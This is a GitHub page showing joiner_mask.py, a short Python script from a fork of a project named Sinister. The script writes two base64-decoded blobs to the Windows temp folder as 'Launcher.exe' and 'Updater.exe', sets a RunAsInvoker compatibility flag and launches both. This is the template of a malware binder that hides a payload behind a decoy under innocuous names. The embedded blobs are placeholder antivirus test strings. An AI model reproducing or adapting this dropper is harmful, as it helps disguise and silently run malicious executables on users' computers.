forked from PushpenderIndia/Sinister
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathjoiner_mask.py
More file actions
25 lines (24 loc) · 859 Bytes
/
Copy pathjoiner_mask.py
File metadata and controls
25 lines (24 loc) · 859 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import os
import subprocess as sbp
import time
from base64 import b64decode as b64d
import sys
import subprocess
time.sleep(1)
temp = sbp.check_output("cmd /c echo %temp%").decode().replace("\r\n","")
legit = b'BSVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo='
with open(f'{temp}\\Launcher.exe', 'wb')as l:
l.write(b64d(legit))
os.system('set __COMPAT_LAYER=RunAsInvoker')
try:
sbp.Popen(f"{temp}\\Launcher.exe", creationflags=subprocess.CREATE_NEW_CONSOLE)
except:
sys.exit()
b64data = b'WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo='
with open(f"{temp}\\Updater.exe", "wb")as f:
f.write(b64d(b64data))
try:
sbp.Popen(f"{temp}\\Updater.exe", creationflags=subprocess.CREATE_NEW_CONSOLE)
except:
sys.exit()
sys.exit()